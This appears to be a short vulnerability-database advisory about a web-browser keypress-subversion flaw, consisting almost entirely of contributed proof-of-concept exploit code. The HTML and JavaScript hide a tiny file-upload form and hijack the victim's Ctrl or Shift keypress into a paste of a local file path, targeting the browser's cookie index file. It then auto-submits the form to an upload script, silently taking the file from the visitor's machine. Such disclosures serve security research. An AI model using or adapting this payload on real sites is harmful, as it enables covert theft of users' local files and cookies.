Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability

Multiple Vendor Web Browser JavaScript Modifier Keypress Event Subversion Vulnerability

Exploit code has been contributed by Andreas Sandblad <sandblad@acc.umu.se>:

<div id=h style="zoom:0.0001">
<form name=u enctype="multipart/form-data" method=post action=upload.php>
<input type=file name=file></form></div>
<script>
//uploadFile="..\\LOCALS~1\\TEMPOR~1\\CONTENT.IE5\\index.dat";
uploadFile="..\\Cookies\\index.dat";
function gotKey(){
if (event.ctrlKey)
event.keyCode = 86;
else if (event.shiftKey)
event.keyCode = 45;
else
return;
document.onkeydown = null;
window.clipboardData.setData("Text",uploadFile);
(p=document.forms.u.file).focus();
p.onpropertychange = function(){document.forms.u.submit()};
} document.onkeydown = gotKey;
window.onload=function(){document.body.focus()};
</script>